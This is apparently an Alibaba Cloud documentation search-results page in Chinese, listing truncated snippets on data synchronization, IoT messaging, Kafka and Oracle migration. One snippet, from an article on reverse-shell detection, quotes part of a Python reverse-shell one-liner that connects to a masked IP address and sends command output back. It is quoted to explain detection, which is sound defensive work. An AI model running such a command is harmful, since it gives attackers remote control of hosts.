离线同步常见问题
本文为您介绍离线同步的相关问题。文档概述 问题分类 相关文档 离线同步任务运维常见问题 为什么数据源测试连通性成功，但是离线同步任务执行失败？如何切换数据集成任务执行资源组？脏数据如何排查和定位？如何查看脏数据？如果离线同步...
SDK同步与异步通信模式
同步通信模式 大多数嵌入式平台移植C Link SDK使用同步底层通信模型，能够支持C Link SDK以轮询方式主动收取网络报文。例如嵌入式Linux、Windows系统，以及大部分配备LwIP协议栈通信的RTOS（FreeRTOS系统）等，都支持上层应用主动收取网络...
RRPC能力
物联网平台基于MQTT协议制定了一套请求和响应的同步机制，无需改动MQTT协议即可实现同步通信。物联网平台提供API给服务端，设备端只需要按照固定的格式回复PUB消息，服务端通过API，即可同步获取设备端的响应结果。服务端通过云端API发起...
概述
阿里云物联网平台提供的RRPC功能，是基于MQTT协议的一套请求和响应的同步机制，无需改动MQTT协议即可实现同步通信。本文介绍通过配置C Link SDK，实现设备端接收同步消息，并处理和应答下发对设备的控制指令。前提条件 已准备开发环境。已...
TCP
'error' 当Socket通信过程中遇到错误时，触发 'error' 事件。'message' 事件回调函数的参数有：属性 类型 描述 data ArrayBuffer 接收到的TCP数据。datalen Number 接收到的TCP数据长度。'error' 事件的回调函数参数有：属性 类型 描述 ...
什么是Deepytorch Training（训练加速）
多机CPU-Reduce：该优化继承了单机内CPU-Reduce高效的异步流水线，并将跨机Socket通信也设计为流水线形态，实现多机通信全过程流水化，有效减少通信延迟，提高整体训练性能。例如，在通信量较大的Transformer-based模型的多机训练场景下，...
配置Kafka输入
Kafka实例数据如下：{"c":{"c0":[{"AA":"this","BB":"is_data"},{"AA":"that","BB":"is_also_data"}]} } 当数组所在位置路径填写 c.c0，输出字段定义两个字段，一个字段名为 AA，取值方式为 AA，一个字段名为 BB，取值方式为 BB，那么该条...
Kafka增量数据同步至MaxCompute
本文以将Kafka增量数据同步至MaxCompute的一个实践为例，为您介绍Kafka的分钟、小时、天增量数据定时调度写入MaxCompute小时、天分区表的配置详情。注意事项 Kafka的版本需要大于等于0.10.2小于等于2.2.x，且Kafka启用了记录时间戳，并且...
Kafka增量数据同步至MaxCompute
本文以将Kafka增量数据同步至MaxCompute的一个实践为例，为您介绍Kafka的分钟、小时、天增量数据定时调度写入MaxCompute小时、天分区表的配置详情。注意事项 Kafka的版本需要大于等于0.10.2小于等于2.2.x，且Kafka启用了记录时间戳，并且...
MaxCompute数据源
一键实时同步至MaxCompute，按实例模式同步时，独享数据集成资源组规格最低需要为8C16G。仅支持与当前工作空间同地域的自建MaxCompute数据源，跨地域的MaxCompute项目在测试数据源服务连通性时可以正常连通，但同步任务执行时，在...
什么是AI分布式训练通信优化库AIACC-ACSpeed
AIACC-ACSpeed（AIACC 2.0-AIACC Communication Speeding）是阿里云推出的AI分布式训练通信优化库AIACC-Training 2.0版本。相比较于分布式训练AIACC-Training 1.5版本，AIACC-ACSpeed基于模块化的解耦优化设计方案，实现了分布式训练在兼容...
HAL说明
HAL_OS_linux.c|+-HAL_TCP_linux.c|+-HAL_UDP_linux.c|+-kv.c|+-kv.h|+-win7|+-HAL_OS_win7.c|+-HAL_TCP_win7.c+-ssl+-itls|+-HAL_TLS_itls.c+-mbedtls|+-HAL_DTLS_mbedtls.c|+-HAL_TLS_mbedtls.c+-openssl+-HAL_TLS_openssl.c 基础 函数...
离线同步写入MongoDB数据
DataWorks的数据集成为您提供MongoDB Writer插件，可从其他数据源中读取数据，并将数据同步至MongoDB。本文以一个具体的示例，为您演示如何通过数据集成将MaxCompute的数据离线同步至MongoDB。前提条件 本实践进行操作时，需满足以下条件。...
console命令工具
c:同步字段 csc-p test_project-t test_topic-b bucket-e endpoint-pr ossPrefix-tf ossTimeFormat-tr timeRange-c(f1,f2)删除connector（可传入多个connectorid，以空格分隔）-p:project名称-t:topic名称-c:connectorId，可通过数据同步页...
自建Oracle同步至云原生数据仓库AnalyticDB ...
数据传输服务DTS（Data Transmission Service）支持将自建Oracle同步至 云原生数据仓库AnalyticDB PostgreSQL版，帮助您构建实时数仓。前提条件 自建Oracle数据库的版本为9i、10g、11g、12c、18c或19c版本。自建Oracle数据库已开启...
自建Oracle同步至阿里云消息队列Kafka版
如果您的自建Oracle版本为12c及以上，待同步表的名称长度需不超过30个字节。如同步对象为表级别，且需进行编辑（如表列名映射），则单次同步任务仅支持同步至多1000张表。当超出数量限制，任务提交后会显示请求报错，此时建议您拆分待同步...
自建Oracle同步至PolarDB MySQL版
数据传输服务DTS（Data Transmission Service）支持将自建Oracle同步至 PolarDB MySQL版 集群，可以实现在本地应用不停服的情况下，平滑地完成Oracle数据库的数据同步。前提条件 已创建存储空间大于源自建Oracle的目标 PolarDB MySQL版 ...
自建Oracle同步至PolarDB PostgreSQL版（兼容Oracle）
如果您的自建Oracle版本为12c及以上，待同步表的名称长度需不超过30个字节。如同步对象为表级别，且需进行编辑（如表列名映射），则单次同步任务仅支持同步至多1000张表。当超出数量限制，任务提交后会显示请求报错，此时建议您拆分待同步...
使用云边通信Raven组件
在 ACK Edge集群 中，跨网络域通信组件Raven提供了基础的多地域网络通信能力，以实现云边运维能力。您可以配置Raven组件，选择云边通信模式（代理模式、隧道模式），也可以增删访问控制白名单条目，放行边缘网关节点以使其与云上构建隧道。...
sync（同步本地文件到OSS）
本地根目录 examplebucket└─localfolder└─destfolder/├─d.txt├─a.txt├─e.png├─b.txt├─d.txt├─e.png└─C/以上示例同步成功后，返回结果中将包含同步的文件数量、文件大小以及完成同步操作所用时长，示例如下：Succeed:...
独享数据集成资源组
性能指标 规格 离线同步最大并发线程数 4c8g 8 8c16g 16 12c24g 24 16c32g 32 24c48g 48 规格 单任务建议需要的资源规格 MySQL来源实时同步数据库数1 4c8g MySQL来源实时同步数据库数[2-5]8c16g MySQL来源实时同步数据库数6以上 12c24g ...
物联网平台通信方式概述
MQTT同步通信相关说明，请参见 什么是RRPC。调用 RRpc 接口同步控制设备实践案例，请参见 远程控制树莓派服务器。批量控制：调用 PubBroadcast 接口向产品下的全量在线设备发布广播消息，实现批量控制设备。批量控制设备的详细说明，请参见...
什么是AI通信加速库Deepnccl
多机CPU-Reduce：该优化继承了单机内CPU-Reduce高效的异步流水线，并将跨机Socket通信也设计为流水线形态，实现多机通信全过程流水化，有效减少通信延迟，提高整体训练性能。例如，在通信量较大的Transformer-based模型的多机训练场景下，...
云安全中心反弹Shell多维检测技术详解
s.send(proc.stdout.read()+proc.stderr.read())\")"Shell攻击者使用编程语言实现标准输入中转，重定向命令执行的输入到中转，有如下常见案例：案例一：python-c"exec(\"import socket,subprocess;s=socket.socket();s.connect(('10.10.XX....
通信消息相关问题
本文介绍设备与物联网平台和物联网平台与服务器端的通信相关问题和解决方法。类目 问题 上下行消息 设备重复收到消息，如何去重？设备使用MQTT协议接入物联网平台后，接收不到通信数据，怎么办？物联网平台发送消息比较慢，存在超时情况，...
共享内存通信（SMC）使用说明
Alibaba Cloud Linux 3提供的共享内存通信SMC（Shared Memory Communication）是一种兼容socket层、使用共享内存技术实现的高性能内核网络协议栈。根据共享内存技术的不同，SMC又可以细分为基于Internal Shared Memory（ISM）技术的SMC ...
共享内存通信（SMC）使用说明
Alibaba Cloud Linux 3提供的共享内存通信SMC（Shared Memory Communication）是一种兼容socket层、使用共享内存技术实现的高性能内核网络协议栈。根据共享内存技术的不同，SMC又可以细分为基于Internal Shared Memory（ISM）技术的SMC ...
云数据库MongoDB版同步至云原生多模数据库Lindorm
数据传输服务DTS（Data Transmission Service）支持将MongoDB（副本集架构或分片集群架构）同步至云原生多模数据库Lindorm（宽表引擎）。Lindorm具有稳定、低成本、简单易用等优势，可以在元数据、订单、账单、画像、社交等场景中，为您...
数据同步拓扑介绍
数据同步功能支持多种同步拓扑，您可以根据业务需求规划您的同步实例。本文介绍DTS支持的同步拓扑类型和使用说明。单向同步 在单向同步的拓扑中，为保障同步数据的一致性，对目标实例中的同步对象应只进行读操作，请勿进行写操作。拓扑类型...
概述
使用C语言开发产品时，您可使用物联网平台提供的C Link SDK，简化开发过程，使设备快速接入物联网平台。本文简要介绍C Link SDK的使用说明、功能介绍和版本说明。使用说明 您可以使用C Link SDK，将具备连接公网能力的设备，接入物联网平台...
什么是云云对接（原泛化协议）SDK
说明 下行通信不支持同步方式，包括同步服务调用和RRPC通信。进阶功能：基于接口的动态配置管理能力。已封装属性、事件、标签数据上报接口；属性、事件批量上报接口；属性设置接口；服务调用接口。名词解释 名词 描述 设备 真实物联网场景...
使用Topic通信
定义Topic后，设备可以通过Topic与物联网平台通信，从而实现设备、物联网平台、业务服务器、其他云产品之间的通信。前提条件 使用物模型Topic通信，需要先 添加物模型。使用自定义Topic通信，需要先定义产品Topic类，具体步骤请参见 使用...
HBase Thrift Server
背景信息 Thrift是一个可伸缩，跨语言服务RPC框架，集成了强大的软件堆栈及代码生成引擎，使得各种语言做到无障碍，高效通信，目前支持C++、Java、Python、PHP、Ruby、Erlang、Perl、Haskell、C#、Go、Cocoa、JavaScript、Node.js和...
性能白皮书
本文以 RDS MySQL 间的单向同步实例为例，为您介绍数据传输服务DTS（Data Transmission Service）性能测试的测试环境、测试工具、测试方法与测试结果。测试环境 数据库信息 说明 测试中使用的 RDS MySQL 均已开启自动扩容功能。类别 地域 ...
自建Oracle同步至DataHub
本文介绍如何使用数据传输服务DTS（Data Transmission Service）将自建Oracle同步至 阿里云流式数据服务DataHub。前提条件 已创建源自建Oracle数据库和目标实例 阿里云流式数据服务DataHub，且自建Oracle数据库的版本为19c、18c、12c、11g...
自建Oracle同步至PolarDB-X 2.0
本文介绍如何使用数据传输服务DTS（Data Transmission Service）将自建Oracle同步至PolarDB-X 2.0。前提条件 已创建源自建Oracle数据库和目标PolarDB-X 2.0实例，且自建Oracle数据库的版本为19c、18c、12c、11g、10g或9i版本。自建Oracle...
领域模型概述
此时就需要考虑子模块间的远程通信，典型的通信模式分为以下两种，一种是同步的RPC远程调用；一种是基于中间件代理的异步通信方式。同步RPC调用模型 同步RPC调用模型下，不同系统之间直接进行调用通信，每个请求直接从调用方发送到被调用方...
自建Oracle同步至MaxCompute
如果您的自建Oracle版本为12c及以上，待同步表的名称长度需不超过30个字节。如同步对象为表级别，且需进行编辑（如表列名映射），则单次同步任务仅支持同步至多1000张表。当超出数量限制，任务提交后会显示请求报错，此时建议您拆分待同步...
从自建Oracle同步至DataHub
支持的同步架构 一对一单向同步 一对多单向同步 级联单向同步 多对一单向同步 关于各类同步架构的介绍及注意事项，请参见 数据同步拓扑介绍。支持同步的SQL操作 INSERT、UPDATE、DELETE。数据库账号的权限要求 数据库 所需权限 账号创建及...
自建Oracle同步至云原生数据仓库AnalyticDB ...
数据传输服务DTS（Data Transmission Service）支持将自建Oracle同步至 云原生数据仓库AnalyticDB PostgreSQL版，帮助您构建实时数仓。前提条件 自建Oracle数据库的版本为9i、10g、11g、12c、18c或19c版本。自建Oracle数据库已开启...
- 产品推荐
- 这些文档可能帮助您